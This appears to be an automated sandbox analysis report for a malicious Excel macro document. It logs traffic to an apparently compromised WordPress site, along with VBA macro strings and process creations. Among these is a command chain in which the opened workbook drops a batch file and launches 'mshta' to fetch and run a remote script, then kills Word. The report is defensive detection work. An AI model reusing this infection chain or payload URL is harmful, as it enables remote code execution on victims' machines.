Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/js/swfobject.js?ver=2.2-20120417 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/css/style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/custom.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/flags/16/pt-br.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/images/content_bg4.jpg HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js?ver=2.2.2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/switcher.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/arrow_down.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/js/custom-script.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/js/chart.min.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/images/up-arrow.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/js/wp-embed.min.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: unknownHTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.3:49750 version: TLS 1.2
Source: C:\Windows\SysWOW64\mshta.exeWindows user hook set: 0 mouse low level C:\Windows\system32\dinput8.dllJump to behavior

System Summary

barindex
Document contains an embedded VBA macro with suspicious strings
Source: SecuriteInfo.com.Exploit.Siggen3.17149.10211.xlsOLE, VBA macro line: sFile = Environ("Public") & "\Outlook.bat"
Source: VBA code instrumentationOLE, VBA macro: Module EstaPastaDeTrabalho, Function Workbook_Open, String environ: sFile = Environ("Public") & "\Outlook.bat"Name: Workbook_Open
Source: SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls.0.drOLE, VBA macro line: sFile = Environ("Public") & "\Outlook.bat"
Source: C:\Windows\SysWOW64\mshta.exeCode function: 10_2_081B005310_2_081B0053
Source: SecuriteInfo.com.Exploit.Siggen3.17149.10211.xlsOLE, VBA macro line: Private Sub Workbook_Open()
Source: VBA code instrumentationOLE, VBA macro: Module EstaPastaDeTrabalho, Function Workbook_OpenName: Workbook_Open
Source: SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls.0.drOLE, VBA macro line: Private Sub Workbook_Open()
Source: SecuriteInfo.com.Exploit.Siggen3.17149.10211.xlsOLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls.0.drOLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: 3235D3F3.tmp.0.drOLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: C:\Windows\SysWOW64\mshta.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXEJump to behavior
Source: SecuriteInfo.com.Exploit.Siggen3.17149.10211.xlsOLE indicator, VBA macros: true
Source: SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls.0.drOLE indicator, VBA macros: true
Source: SecuriteInfo.com.Exploit.Siggen3.17149.10211.xlsVirustotal: Detection: 48%
Source: SecuriteInfo.com.Exploit.Siggen3.17149.10211.xlsMetadefender: Detection: 29%
Source: SecuriteInfo.com.Exploit.Siggen3.17149.10211.xlsReversingLabs: Detection: 41%
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CAJump to behavior
Source: unknownProcess created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping -n 8 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im WINWORD.EXE
Source: C:\Windows\SysWOW64\taskkill.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txt
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping -n 8 127.0.0.1 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txtJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im WINWORD.EXE Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = &quot;WINWORD.EXE&quot;)
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCacheJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\{9314B019-EAA7-433B-AC70-441037C5876B} - OProcSessId.datJump to behavior
Source: classification engineClassification label: mal100.troj.expl.evad.winXLS@13/90@4/5
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5588:120:WilError_01
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3080:120:WilError_01
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit
Source: C:\Windows\SysWOW64\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SettingsJump to behavior
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguagesJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile opened: C:\Windows\SysWOW64\MSVCR100.dllJump to behavior
Source: 3235D3F3.tmp.0.drInitial sample: OLE indicators vbamacros = False
Source: C:\Windows\SysWOW64\mshta.exeCode function: 10_2_0857806C push eax; retf 10_2_0857806D
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
